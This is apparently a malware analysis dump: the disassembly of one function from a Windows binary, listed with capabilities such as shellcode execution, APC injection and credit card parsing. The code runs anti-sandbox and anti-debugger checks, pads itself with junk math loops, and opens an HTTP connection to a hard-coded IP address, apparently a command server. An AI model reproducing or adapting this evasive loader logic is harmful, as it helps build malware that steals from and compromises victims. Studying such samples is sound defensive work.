Function at 0x31bfa1d34
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Connect to http server
Create http request
Encode data using base64
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Inject apc
Link many functions at runtime
Parse credit card information
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push rbp
push rbx
mov eax, 0x3388
call fcn.31bfcb080
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x32f0], xmm6
mov qword [rbp + 0x3320], rcx
mov dword [rbp + 0x3328], edx
mov qword [rbp + 0x3330], r8
mov dword [rbp + 0x20b0], 1
cmp dword [rbp + 0x3328], 1
jne 0x31bfca2d2
mov qword [rbp + 0x20a8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x20a0], rax
mov rax, qword [rbp + 0x20a0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4d91280
mov ecx, 0
call rax
mov qword [rbp + 0x20a8], rax
cmp qword [rbp + 0x20a8], 0
je 0x31bfca2d2
mov rax, qword [rbp + 0x20a8]
mov edx, 0x4d91280
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x20a8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x2098], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2090], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x2090]
mov r9d, 0x3000
mov r8d, 0x3c1
mov edx, 0
call rax
mov qword [rbp + 0x2098], rax
cmp qword [rbp + 0x2098], 0
je 0x31bfca2d2
mov dword [rbp + 0x208c], 0x215
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2080], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2078], rax
mov rax, qword [rbp + 0x2078]
call rax
mov dword [rbp + 0x2074], eax
mov eax, dword [rbp + 0x208c]
mov r8, qword [rbp + 0x2080]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x2078]
call rax
mov dword [rbp + 0x2070], eax
mov eax, dword [rbp + 0x2070]
sub eax, dword [rbp + 0x2074]
cmp eax, 0x1e3
jbe 0x31bfca2d2
mov dword [rbp + 0x206c], 0x364
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2060], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2058], rax
mov rax, qword [rbp + 0x2058]
call rax
mov dword [rbp + 0x2054], eax
mov eax, dword [rbp + 0x206c]
mov r8, qword [rbp + 0x2060]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x2058]
call rax
mov dword [rbp + 0x2050], eax
mov eax, dword [rbp + 0x2050]
sub eax, dword [rbp + 0x2054]
cmp eax, 0x332
jbe 0x31bfca2d2
mov ecx, 0x5ae
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x5ae
jne 0x31bfca2d2
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x134], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2048], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x134]
mov r8, qword [rbp + 0x2048]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x134]
cmp eax, 1
je 0x31bfca2d2
mov ecx, 0x481
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x481
jne 0x31bfca2d2
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x2044], 0x2b6
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2038], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2030], rax
mov rax, qword [rbp + 0x2030]
call rax
mov dword [rbp + 0x202c], eax
mov eax, dword [rbp + 0x2044]
mov r8, qword [rbp + 0x2038]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x2030]
call rax
mov dword [rbp + 0x2028], eax
mov eax, dword [rbp + 0x2028]
sub eax, dword [rbp + 0x202c]
cmp eax, 0x284
jbe 0x31bfca2d2
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x2020], rax
cmp qword [rbp + 0x2020], 0
je 0x31bfca2d2
mov rax, qword [rbp + 0x2020]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x800000
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x115c
lea rdx, str.132.163.25.36
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0x2018], rax
cmp qword [rbp + 0x2018], 0
je 0x31bfca2d2
mov rax, qword [rbp + 0x2018]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x84e03200
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.oiBCbBsRvNNgoDgeFZ_KwoYvBaimRLfrSSwfGjSiCNvPWWdvmxYHHVxROmmIChgZhxfOLON_XuFHzqV
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp + 0x2010], rax
mov dword [rbp + 0x32e8], 0xffffffff
add dword [rbp + 0x32e8], 1
call sym.rand
imul eax, eax, 0xa8
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x2008], rax
cmp dword [rbp + 0x32e8], 0x62
jle 0x31bfa228b
mov dword [rbp + 0x32e4], 0
jmp 0x31bfa235c
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff84210843
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x144], edx
mov ecx, dword [rbp + 0x144]
mov edx, ecx
shl edx, 5
sub edx, ecx
sub eax, edx
mov dword [rbp + 0x144], eax
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x144]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x138], rax
add dword [rbp + 0x32e4], 1
cmp dword [rbp + 0x32e4], 0x152
jle 0x31bfa22e1
mov ecx, 0x340
call sym.malloc
mov qword [rbp + 0x2000], rax
mov dword [rbp + 0x32e0], 0
jmp 0x31bfa23c7
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x32e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2000]
add rax, rdx
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x32e0], 1
cmp dword [rbp + 0x32e0], 0x67
jle 0x31bfa2389
mov dword [rbp + 0x32e0], 0
jmp 0x31bfa2461
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x32e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2000]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x32e0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2000]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x32e0], 1
cmp dword [rbp + 0x32e0], 0x67
jle 0x31bfa23df
mov dword [rbp + 0x32dc], 0xffffffff
add dword [rbp + 0x32dc], 1
call sym.rand
imul eax, eax, 0x27d
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x1ff8], rax
cmp dword [rbp + 0x32dc], 0x155
jle 0x31bfa2478
mov ecx, 0x598
call sym.malloc
mov qword [rbp + 0x1ff0], rax
mov dword [rbp + 0x32d8], 0
jmp 0x31bfa2530
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x32d8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1ff0]
add rax, rdx
movsd xmm1, qword [0x31bfd30d8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x32d8], 1
cmp dword [rbp + 0x32d8], 0xb2
jle 0x31bfa24e2
mov dword [rbp + 0x32d8], 0
jmp 0x31bfa259a
mov eax, dword [rbp + 0x32d8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1ff0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x32d8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1ff0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x32d8], 1
cmp dword [rbp + 0x32d8], 0xb2
jle 0x31bfa2548
mov ecx, 0x764
call sym.malloc
mov qword [rbp + 0x1fe8], rax
mov ecx, 0x764
call sym.malloc
mov qword [rbp + 0x1fe0], rax
mov dword [rbp + 0x32d0], 0x1d8
mov dword [rbp + 0x32d4], 0
jmp 0x31bfa266e
call sym.rand
mov edx, dword [rbp + 0x32d4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1fe8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x32d0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1fe8]
add rax, rdx
mov edx, dword [rbp + 0x32d4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1fe0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x32d0], 1
add dword [rbp + 0x32d4], 1
cmp dword [rbp + 0x32d4], 0x1d8
jle 0x31bfa25e1
mov rax, qword [rbp + 0x1fe8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1fe0]
mov rcx, rax
call sym.free
mov ecx, 0x398
call sym.malloc
mov qword [rbp + 0x1fd8], rax
mov dword [rbp + 0x32c8], 0
mov dword [rbp + 0x32c4], 0
mov dword [rbp + 0x32cc], 0
jmp 0x31bfa2773
call sym.rand
mov edx, dword [rbp + 0x32cc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1fd8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x32cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1fd8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x31bfa2742
add dword [rbp + 0x32c8], 1
jmp 0x31bfa276c
mov eax, dword [rbp + 0x32cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1fd8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x31bfa276c
add dword [rbp + 0x32c4], 1
add dword [rbp + 0x32cc], 1
cmp dword [rbp + 0x32cc], 0xe5
jle 0x31bfa26d0
mov rax, qword [rbp + 0x1fd8]
mov rcx, rax
call sym.free
mov dword [rbp + 0x32c0], 0xffffffff
mov ecx, 0x5e8
call sym.malloc
mov qword [rbp + 0x1fd0], rax
add dword [rbp + 0x32c0], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x32c0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1fd0]
add rax, rdx
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x32c0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1fd0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x32c0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1fd0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x32c0], 0xbb
jle 0x31bfa27ad
mov dword [rbp + 0x32bc], 0xffffffff
add dword [rbp + 0x32bc], 1
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x1fcc], eax
mov ecx, dword [rbp + 0x1fcc]
mov eax, ecx
shl eax, 2
add eax, ecx
shl eax, 2
sub edx, eax
mov dword [rbp + 0x1fcc], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x1fcc]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x1fc0], rax
cmp dword [rbp + 0x32bc], 0x1c3
jle 0x31bfa2850
mov dword [rbp + 0x1fbc], 0
mov ecx, 0xc0
call sym.malloc
mov qword [rbp + 0x1fb0], rax
mov ecx, 0xc0
call sym.malloc
mov qword [rbp + 0x1fa8], rax
mov ecx, 0xc0
call sym.malloc
mov qword [rbp + 0x1fa0], rax
mov dword [rbp + 0x32b8], 0
jmp 0x31bfa29f8
mov dword [rbp + 0x32b4], 0
jmp 0x31bfa29e4
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x32b8]
cdqe
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x1fb0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x32b4]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x32b8]
cdqe
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x1fa8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x32b4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x32b4], 1
cmp dword [rbp + 0x32b4], 7
jle 0x31bfa2939
add dword [rbp + 0x32b8], 1
cmp dword [rbp + 0x32b8], 5
jle 0x31bfa292a
mov dword [rbp + 0x32b8], 0
jmp 0x31bfa2ab1
mov dword [rbp + 0x32b4], 0
jmp 0x31bfa2a9d
mov eax, dword [rbp + 0x32b8]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x1fb0]
add rdx, rax
mov eax, dword [rbp + 0x32b4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x32b8]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x1fa8]
add rdx, rax
mov eax, dword [rbp + 0x32b4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x32b8]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x1fa0]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x32b4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x32b4], 1
cmp dword [rbp + 0x32b4], 7
jle 0x31bfa2a20
add dword [rbp + 0x32b8], 1
cmp dword [rbp + 0x32b8], 5
jle 0x31bfa2a14
mov rax, qword [rbp + 0x1fb0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1fa8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1fa0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x32b0], 0xffffffff
mov ecx, 0x3f0
call sym.malloc
mov qword [rbp + 0x1f98], rax
add dword [rbp + 0x32b0], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x32b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f98]
add rax, rdx
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x32b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f98]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x32b0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1f98]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x32b0], 0x7c
jle 0x31bfa2b06
mov ecx, 0x108
call sym.malloc
mov qword [rbp + 0x1f90], rax
mov ecx, 0x108
call sym.malloc
mov qword [rbp + 0x1f88], rax
mov ecx, 0x108
call sym.malloc
mov qword [rbp + 0x1f80], rax
mov dword [rbp + 0x32ac], 0
jmp 0x31bfa2cf6
mov dword [rbp + 0x32a8], 0
jmp 0x31bfa2ce2
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x32ac]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x1f90]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x32a8]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x32ac]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x1f88]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x32a8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x32a8], 1
cmp dword [rbp + 0x32a8], 5
jle 0x31bfa2c1d
add dword [rbp + 0x32ac], 1
cmp dword [rbp + 0x32ac], 0xa
jle 0x31bfa2c0e
mov dword [rbp + 0x32ac], 0
jmp 0x31bfa2dd0
mov dword [rbp + 0x32a8], 0
jmp 0x31bfa2dbc
mov eax, dword [rbp + 0x32ac]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1f90]
add rdx, rax
mov eax, dword [rbp + 0x32a8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x32ac]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1f88]
add rdx, rax
mov eax, dword [rbp + 0x32a8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x32ac]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1f80]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x32a8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x32a8], 1
cmp dword [rbp + 0x32a8], 5
jle 0x31bfa2d21
add dword [rbp + 0x32ac], 1
cmp dword [rbp + 0x32ac], 0xa
jle 0x31bfa2d12
mov rax, qword [rbp + 0x1f90]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1f88]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1f80]
mov rcx, rax
call sym.free
mov ecx, 0x894
call sym.malloc
mov qword [rbp + 0x1f78], rax
mov ecx, 0x318
call sym.malloc
mov qword [rbp + 0x1f70], rax
mov dword [rbp + 0x32a4], 0
mov dword [rbp + 0x1f6c], 1
mov dword [rbp + 0x32a0], 0
jmp 0x31bfa2ec7
mov dword [rbp + 0x329c], 0
jmp 0x31bfa2eb7
call sym.rand
mov edx, eax
mov eax, dword [rbp + 0x32a0]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x1f70]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x329c]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x329c], 1
cmp dword [rbp + 0x329c], 0x11
jle 0x31bfa2e58
add dword [rbp + 0x32a0], 1
cmp dword [rbp + 0x32a0], 0xa
jle 0x31bfa2e4c
mov dword [rbp + 0x32a0], 0
jmp 0x31bfa2f3d
mov dword [rbp + 0x329c], 0
jmp 0x31bfa2f2d
mov eax, dword [rbp + 0x32a0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1f70]
add rdx, rax
mov eax, dword [rbp + 0x329c]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x31bfa2f26
add dword [rbp + 0x32a4], 1
add dword [rbp + 0x329c], 1
cmp dword [rbp + 0x329c], 0x11
jle 0x31bfa2eec
add dword [rbp + 0x32a0], 1
cmp dword [rbp + 0x32a0], 0xa
jle 0x31bfa2ee0
cmp dword [rbp + 0x32a4], 0x63
je 0x31bfa2f59
mov dword [rbp + 0x1f6c], 0
mov rax, qword [rbp + 0x1f70]
mov rcx, rax
call sym.free
mov dword [rbp + 0x3298], 0xffffffff
mov ecx, 0x618
call sym.malloc
mov qword [rbp + 0x1f60], rax
mov ecx, 0x618
call sym.malloc
mov qword [rbp + 0x1f58], rax
add dword [rbp + 0x3298], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x3298]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f60]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x3298]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f60]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x3298]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1f58]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x3298], 0xc1
jle 0x31bfa2f94
movsd xmm0, qword [0x31bfd30e0]
movsd qword [rbp + 0x3290], xmm0
movsd xmm0, qword [0x31bfd30e8]
movsd qword [rbp + 0x1f50], xmm0
jmp 0x31bfa30c4
movsd xmm0, qword [rbp + 0x1f50]
mov rax, qword [rbp + 0x3290]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
mov qword [rbp + 0x3290], rax
movsd xmm0, qword [0x31bfd30f0]
comisd xmm0, xmmword [rbp + 0x3290]
ja 0x31bfa309b
mov ecx, 0xc30
call sym.malloc
mov qword [rbp + 0x1f48], rax
mov dword [rbp + 0x328c], 0
jmp 0x31bfa3141
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x328c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f48]
add rax, rdx
movsd xmm1, qword [0x31bfd30d8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x328c], 1
cmp dword [rbp + 0x328c], 0x185
jle 0x31bfa30f3
mov dword [rbp + 0x328c], 0
jmp 0x31bfa31ab
mov eax, dword [rbp + 0x328c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f48]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x328c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1f48]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x328c], 1
cmp dword [rbp + 0x328c], 0x185
jle 0x31bfa3159
mov ecx, 0x560
call sym.malloc
mov qword [rbp + 0x1f40], rax
mov dword [rbp + 0x3288], 0
jmp 0x31bfa3222
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x3288]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f40]
add rax, rdx
movsd xmm1, qword [0x31bfd30d8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x3288], 1
cmp dword [rbp + 0x3288], 0xab
jle 0x31bfa31d4
